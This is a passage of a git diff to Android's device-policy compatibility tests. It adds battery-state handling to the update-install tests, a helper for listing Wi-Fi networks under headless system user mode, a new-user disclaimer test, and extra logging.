+ byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize);
}
private void findNewStylePasswordComplexityEvent(
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
index 53fa547136d..2dfa7e11104 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
@@ -63,39 +63,64 @@ public final class InstallUpdateTest extends BaseDeviceAdminTest {
InstallSystemUpdateCallback.UPDATE_ERROR_FILE_NOT_FOUND);
}
- public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException {
+ public void testInstallUpdate_failNoZipOtaFile() throws Exception {
if (!isDeviceAB()) {
return;
}
- assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ try {
+ setupBatteryState();
+ assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ } finally {
+ teardownBatteryState();
+ }
}
- public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException {
+ public void testInstallUpdate_failWrongPayloadFile() throws Exception {
if (!isDeviceAB()) {
return;
}
- assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ try {
+ setupBatteryState();
+ assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ } finally {
+ teardownBatteryState();
+ }
}
- public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException {
+ public void testInstallUpdate_failEmptyOtaFile() throws Exception {
if (!isDeviceAB()) {
return;
}
- assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ try {
+ setupBatteryState();
+ assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ } finally {
+ teardownBatteryState();
+ }
}
- public void testInstallUpdate_failWrongHash() throws InterruptedException {
+ public void testInstallUpdate_failWrongHash() throws Exception {
if (!isDeviceAB()) {
return;
}
- assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ try {
+ setupBatteryState();
+ assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ } finally {
+ teardownBatteryState();
+ }
}
- public void testInstallUpdate_failWrongSize() throws InterruptedException {
+ public void testInstallUpdate_failWrongSize() throws Exception {
if (!isDeviceAB()) {
return;
}
- assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ try {
+ setupBatteryState();
+ assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+ } finally {
+ teardownBatteryState();
+ }
}
public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception {
@@ -251,4 +276,31 @@ public final class InstallUpdateTest extends BaseDeviceAdminTest {
private boolean isDeviceAB() {
return "true".equalsIgnoreCase(SystemProperties.get(AB_DEVICE_KEY, ""));
}
+
+ private boolean deviceHasBattery() {
+ final Intent batteryInfo = mContext.registerReceiver(null,
+ new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+ return batteryInfo != null
+ && batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+ }
+
+ /**
+ * This is just for batteryless device,as we know from above that remaining capacity
+ * is 0 on Android 9 and higher. We need set battery status to meet the test conditions
+ * of InstallUpdateTest for batteryless device.
+ * For device has a battery, the test conditions follow the real status of the battery.
+ */
+ private void setupBatteryState() throws Exception {
+ if (!deviceHasBattery()) {
+ setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
+ setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
+ }
+ }
+
+ private void teardownBatteryState() {
+ if (!deviceHasBattery()) {
+ resetBatteryState();
+ resetDevicePolicyConstants();
+ }
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 5f8766e6f41..acbfb08e78e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -52,6 +52,7 @@ public abstract class BaseDeviceOwnerTest extends AndroidTestCase {
protected DevicePolicyManager mDevicePolicyManager;
protected WifiManager mWifiManager;
+ protected WifiManager mCurrentUserWifiManager;
protected WifiConfigCreator mWifiConfigCreator;
protected Instrumentation mInstrumentation;
protected UiDevice mDevice;
@@ -75,15 +76,8 @@ public abstract class BaseDeviceOwnerTest extends AndroidTestCase {
BasicAdminReceiver.class, /* forDeviceOwner= */ true);
mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext,
BasicAdminReceiver.class);
- WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class);
- mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) {
- @Override
- public List<WifiConfiguration> getConfiguredNetworks() {
- // Must always use the current user's wifi manager, otherwise it would fail on
- // headless system user (as the device owner is not the current user).
- return currentUserWifiManager.getConfiguredNetworks();
- }
- };
+ mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+ mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager);
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
@@ -127,4 +121,12 @@ public abstract class BaseDeviceOwnerTest extends AndroidTestCase {
protected final UserHandle getCurrentUser() {
return UserHandle.of(ActivityManager.getCurrentUser());
}
+
+ protected final List<WifiConfiguration> getConfiguredNetworks() {
+ // Must use a the WifiManager of the current user to list networks, as
+ // getConfiguredNetworks() would return empty on systems using headless system
+ // mode as that method "Return a list of all the networks configured for the current
+ // foreground user", and the system user is running in the background in this case.
+ return mCurrentUserWifiManager.getConfiguredNetworks();
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 32cc187689b..4f985685c33 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -32,6 +32,7 @@ import android.content.pm.PackageManager;
import android.os.IBinder;
import android.os.PersistableBundle;
import android.os.RemoteException;
+import android.os.SystemClock;
import android.os.UserHandle;
import android.os.UserManager;
import android.provider.Settings;
@@ -199,6 +200,63 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
.containsExactly(userHandle, userHandle);
}
+ public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+ // First check that the current user doesn't need it
+ UserHandle currentUser = getCurrentUser();
+ Log.d(TAG, "Checking if current user (" + currentUser + ") is acked");
+ assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser)
+ .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue();
+
+ UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer");
+ PrimaryUserService.assertCrossUserCallArrived();
+ }
+
+ @SuppressWarnings("unused")
+ private static void newUserDisclaimer(Context context, DevicePolicyManager dpm,
+ ComponentName componentName) {
+
+ // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to
+ // check
+ int currentUserId = UserHandle.USER_NULL;
+ long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS;
+ int waitingTimeMs = 1_000;
+ int attempt = 0;
+ int myUserId = context.getUserId();
+ do {
+ attempt++;
+ try {
+ Log.d(TAG, "checking if user " + myUserId + " is current user");
+ currentUserId = ActivityManager.getCurrentUser();
+ Log.d(TAG, "currentUserId: " + currentUserId);
+ } catch (SecurityException e) {
+ Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt
+ + ", waiting " + waitingTimeMs + "ms until app is authorized");
+ SystemClock.sleep(waitingTimeMs);
+
+ }
+ } while (currentUserId != myUserId && attempt < maxAttempts);
+ Log.v(TAG, "Out of the loop, let's hope for the best...");
+
+ if (currentUserId == UserHandle.USER_NULL) {
+ throw new IllegalStateException("App could was not authorized to check current user");
+ }
+ assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId);
+
+ // Now that the plumbing is done, go back to work...
+ Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()");
+ boolean isAcked = dpm.isNewUserDisclaimerAcknowledged();
+
+ Log.d(TAG, "is it: " + isAcked);
+ assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse();
+ Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()");
+ dpm.acknowledgeNewUserDisclaimer();
+
+ Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again");
+ isAcked = dpm.isNewUserDisclaimerAcknowledged();
+ Log.d(TAG, "is it now: " + isAcked);
+ assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue();
+ }
+
@SuppressWarnings("unused")
private static void assertAffiliatedUser(Context context,
DevicePolicyManager devicePolicyManager, ComponentName componentName) {
@@ -291,6 +349,17 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
private UserHandle runCrossUserVerification(UserActionCallback callback,
int createAndManageUserFlags, String methodName,
Set<String> currentUserPackages) throws Exception {
+ return runCrossUserVerification(callback, createAndManageUserFlags, methodName,
+ /* switchUser= */ false, currentUserPackages);
+ }
+ private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception {
+ return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0,
+ methodName, /* switchUser= */ true, /* currentUserPackages= */ null);
+ }
+
+ private UserHandle runCrossUserVerification(UserActionCallback callback,
+ int createAndManageUserFlags, String methodName, boolean switchUser,
+ Set<String> currentUserPackages) throws Exception {
Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
+ ", method=" + methodName);
String testUserName = "TestUser_" + System.currentTimeMillis();
@@ -313,7 +382,9 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
Log.d(TAG, "creating user with PO " + profileOwner);
UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
- if (callback != null) {
+ if (switchUser) {
+ switchUserAndWaitForBroadcasts(userHandle);
+ } else if (callback != null) {
startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
} else {
startUserInBackgroundAndWaitForBroadcasts(userHandle);
@@ -474,7 +545,7 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
public static final class PrimaryUserService extends Service {
private static final Semaphore sSemaphore = new Semaphore(0);
- private static String sError = null;
+ private static String sError;
private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
public void onEnabledCalled(String error) {
@@ -493,6 +564,8 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
}
static void assertCrossUserCallArrived() throws Exception {
+ Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS
+ + " seconds for callback");
assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
.that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
.isTrue();
@@ -504,11 +577,10 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
}
public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
-
@Override
public void onEnabled(Context context, Intent intent) {
Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
- + context.getUserId());
+ + context.getUserId() + " and thread " + Thread.currentThread());
DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
ComponentName who = getComponentName(context);
@@ -547,9 +619,13 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
} catch (InvocationTargetException e) {
error = e.getCause().toString();
}
+ if (error != null) {
+ Log.e(TAG, "Error calling method: " + error);
+ }
// Call all affiliated users
final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
+ Log.d(TAG, "target users: " + targetUsers);
assertWithMessage("target users").that(targetUsers).hasSize(1);
pingTargetUser(context, dpm, targetUsers.get(0), error);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
index 89a7b29d71f..d8cb8486541 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
@@ -30,6 +30,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.content.Intent;
import android.net.wifi.WifiConfiguration;
+import android.os.Process;
import android.provider.Settings;
import android.util.Log;
@@ -54,6 +55,12 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1");
mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA,
ORIGINAL_PASSWORD);
+
+ Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator
+ + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager
+ + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager);
+ logConfigs("setup()", getConfiguredNetworks());
+
startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID,
SECURITY_TYPE_WPA, ORIGINAL_PASSWORD);
}
@@ -62,7 +69,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
protected void tearDown() throws Exception {
mDevicePolicyManager.setGlobalSetting(getWho(),
Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0");
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("tearDown()", configs);
for (WifiConfiguration config : configs) {
if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) ||
@@ -77,7 +84,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
}
public void testDeviceOwnerCanUpdateConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testDeviceOwnerCanUpdateConfig()", configs);
int updateCount = 0;
for (WifiConfiguration config : configs) {
@@ -105,7 +112,8 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
}
public void testDeviceOwnerCanRemoveConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
+ logConfigs("testDeviceOwnerCanRemoveConfig()", configs);
int removeCount = 0;
for (WifiConfiguration config : configs) {
if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID)
@@ -114,20 +122,26 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
// config, and they are auto-removed when the corresponding config is removed.
// Recheck every config against the latest list of wifi configurations and skip
// those which is already auto-removed.
- if (mWifiManager.getConfiguredNetworks().stream()
- .noneMatch(c -> c.networkId == config.networkId)) continue;
-
- assertWithMessage("mWifiManager.removeNetwork(%s)", config.networkId)
+ Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId
+ + " should be removed");
+ if (getConfiguredNetworks().stream()
+ .noneMatch(c -> c.networkId == config.networkId)) {
+ Log.d(TAG, "Skipping it");
+ continue;
+ }
+ Log.d(TAG, "Removing using " + mWifiManager);
+ assertWithMessage("removeNetwork(%s)", config.networkId)
.that(mWifiManager.removeNetwork(config.networkId)).isTrue();
++removeCount;
}
}
+ logConfigs("After removing " + removeCount, configs);
assertWithMessage("number of removed configs (the DO created one and the regular one)")
.that(removeCount).isEqualTo(2);
}
public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
int updateCount = 0;
for (WifiConfiguration config : configs) {
@@ -143,7 +157,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
.that(updateCount).isAtLeast(1);
// Assert nothing has changed
- configs = mWifiConfigCreator.getConfiguredNetworks();
+ configs = getConfiguredNetworks();
int notChangedCount = 0;
for (WifiConfiguration config : configs) {
Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID);
@@ -158,7 +172,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
}
public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
int removeCount = 0;
for (WifiConfiguration config : configs) {
@@ -175,7 +189,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
.that(removeCount).isAtLeast(1);
// Assert nothing has changed
- configs = mWifiConfigCreator.getConfiguredNetworks();
+ configs = getConfiguredNetworks();
int notChangedCount = 0;
for (WifiConfiguration config : configs) {
Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID);
@@ -216,6 +230,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest {
return;
}
Log.d(TAG, prefix + ": " + configs.size() + " configs: "
- + configs.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+ + configs.stream().map((c) -> c.SSID + "/" + c.networkId)
+ .collect(Collectors.toList()));
}
}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
index 918094cb7be..5e1f248181a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
@@ -20,10 +20,10 @@ import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
+import android.view.WindowInsets;
+import android.view.WindowInsetsController;
import android.view.WindowManager;
-import java.lang.Override;
-
/**
* A simple activity to install for various users to test LauncherApps.
*/
@@ -46,6 +46,11 @@ public class SimpleActivity extends Activity {
Intent reply = new Intent();
reply.setAction(ACTIVITY_LAUNCHED_ACTION);
sendBroadcast(reply);
+
+ final WindowInsetsController insetsController = getWindow().getInsetsController();
+ if (insetsController != null) {
+ insetsController.hide(WindowInsets.Type.navigationBars());
+ }
}
@Override
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
index 32d53d103ca..c23ee9c7363 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
@@ -16,32 +16,34 @@
package com.android.cts.deviceowner.wificonfigcreator;
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.compatibility.common.util.WifiConfigCreator;
import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.compatibility.common.util.WifiConfigCreator;
/**
* A simple activity to create and manage wifi configurations.
*/
-public class WifiConfigCreatorActivity extends Activity {
+public final class WifiConfigCreatorActivity extends Activity {
private static final String TAG = "WifiConfigCreatorActivity";
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
- Log.i(TAG, "Created for user " + android.os.Process.myUserHandle());
WifiConfigCreator configCreator = new WifiConfigCreator(this);
+ Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator="
+ + configCreator);
try {
Intent intent = getIntent();
String action = intent.getAction();
@@ -49,12 +51,15 @@ public class WifiConfigCreatorActivity extends Activity {
String ssid = intent.getStringExtra(EXTRA_SSID);
int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
String password = intent.getStringExtra(EXTRA_PASSWORD);
- configCreator.addNetwork(ssid, false, securityType, password);
+ Log.d(TAG, "Creating network " + ssid);
+ int netId = configCreator.addNetwork(ssid, false, securityType, password);
+ Log.d(TAG, "new id : " + netId);
} else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) {
int netId = intent.getIntExtra(EXTRA_NETID, -1);
String ssid = intent.getStringExtra(EXTRA_SSID);
int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
String password = intent.getStringExtra(EXTRA_PASSWORD);
+ Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")");
configCreator.updateNetwork(netId, ssid, false, securityType, password);
} else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) {
int netId = intent.getIntExtra(EXTRA_NETID, -1);
@@ -65,6 +70,7 @@ public class WifiConfigCreatorActivity extends Activity {
Log.i(TAG, "Unknown command: " + action);
}
} catch (InterruptedException ie) {
+ Thread.currentThread().interrupt();
Log.e(TAG, "Interrupted while changing wifi settings", ie);
} finally {
finish();
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index dc32c9a50d6..e6b3e1e43ed 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -137,34 +137,54 @@ public class PermissionUtils {
}
public static void checkPermission(String permission, int expected, String packageName) {
- assertPermission(permission, packageName, getContext().getPackageManager()
- .checkPermission(permission, packageName), expected);
+ checkPermission(getContext(), permission, expected, packageName);
+ }
+
+ public static void checkPermission(Context context, String permission, int expected,
+ String packageName) {
+ PackageManager pm = context.getPackageManager();
+ Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName
+ + "): " + "using " + pm + " on user " + context.getUser());
+ assertPermission(permission, packageName, pm.checkPermission(permission, packageName),
+ expected);
}
private static void assertPermission(String permission, String packageName, int actual,
int expected) {
- assertWithMessage("Wrong status for permission %s on package %s", permission, packageName)
- .that(actual).isEqualTo(expected);
+ assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)",
+ permission, packageName,
+ expected, permissionToString(expected), actual, permissionToString(actual))
+ .that(actual).isEqualTo(expected);
}
/**
- * Correctly check a runtime permission. This also works for pre-m apps.
+ * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
*/
public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
throws Exception {
- assertPermission(permission, packageName, checkPermissionAndAppOps(permission, packageName),
- expected);
+ checkPermissionAndAppOps(getContext(), permission, expected, packageName);
}
- private static int checkPermissionAndAppOps(String permission, String packageName)
- throws Exception {
- PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
- if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+ /**
+ * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
+ */
+ public static void checkPermissionAndAppOps(Context context, String permission, int expected,
+ String packageName) throws Exception {
+ assertPermission(permission, packageName,
+ checkPermissionAndAppOps(context, permission, packageName), expected);
+ }
+
+ private static int checkPermissionAndAppOps(Context context, String permission,
+ String packageName) throws Exception {
+ Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser()
+ + ", permission=" + permission + ", packageName=" + packageName);
+ PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
+ if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid)
== PERMISSION_DENIED) {
return PERMISSION_DENIED;
}
- AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+ AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
AppOpsManager.permissionToOp(permission), packageName,
packageInfo.applicationInfo.uid, null, null)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
index f15f56c5fbd..39f0abd9238 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -111,6 +111,11 @@ abstract class BaseDeviceOwnerTest extends BaseDevicePolicyTest {
executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value);
}
+ protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception {
+ String result = executeShellCommand("pm list packages --user %d %s", userId, packageName);
+ return result != null && !result.isEmpty();
+ }
+
private void executeDeviceOwnerPackageTestMethod(String className, String testName,
int userId) throws Exception {
runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index c30543b8c9c..f19d6bcf481 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -76,6 +76,7 @@ import javax.annotation.Nullable;
@RunWith(DeviceJUnit4ClassRunner.class)
public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
+ private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
private static final String FEATURE_CAMERA = "android.hardware.camera";
private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
@@ -83,7 +84,6 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
private static final String FEATURE_LEANBACK = "android.software.leanback";
private static final String FEATURE_NFC = "android.hardware.nfc";
private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
-
private static final String FEATURE_PRINT = "android.software.print";
private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
@@ -1256,9 +1256,15 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
allowTestApiAccess(deviceAdminPkg);
}
- protected void allowTestApiAccess(String deviceAdminPkg) throws Exception {
- CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg);
- executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg);
+ /**
+ * Grants access to APIs marked as {@code @TestApi}.
+ *
+ * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain
+ * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds.
+ */
+ protected void allowTestApiAccess(String pgkName) throws Exception {
+ CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName);
+ executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName);
}
protected void grantPermission(String pkg, String permission, int userId, String reason)
@@ -1337,6 +1343,10 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
return hasDeviceFeature(FEATURE_LEANBACK);
}
+ boolean isAutomotive() throws DeviceNotAvailableException {
+ return hasDeviceFeature(FEATURE_AUTOMOTIVE);
+ }
+
void pushUpdateFileToDevice(String fileName)
throws IOException, DeviceNotAvailableException {
File file = File.createTempFile(
@@ -1362,7 +1372,7 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
}
